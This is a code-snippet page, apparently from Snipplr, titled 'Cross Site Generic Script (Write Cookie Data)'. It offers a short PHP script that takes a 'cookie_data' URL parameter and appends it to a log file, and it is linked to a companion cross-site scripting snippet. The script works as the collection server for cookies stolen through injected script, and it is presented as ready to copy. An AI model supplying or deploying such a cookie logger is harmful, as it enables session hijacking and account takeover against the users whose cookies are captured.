Cross Site Generic Script (Write Cookie Data)


/ Published in: PHP
Save to your folder(s)

This is linked to this
http://snipplr.com/view/7147/cross-site-generic-script/


Copy this code and paste it in your HTML
  1. $contents = isset($_GET['cookie_data']) && trim($_GET['cookie_data']) && strlen($_GET['cookie_data']) < 512 ? $_GET['cookie_data'] : die('invalid request');
  2.  
  3. $fp = fopen('cookie_log.txt', 'a');
  4. $fp and fwrite($fp, date("D M j g:i a") . ' : ' . $contents . "\n") and fclose($fp);

Report this snippet


Comments

RSS Icon Subscribe to comments

You need to login to post a comment.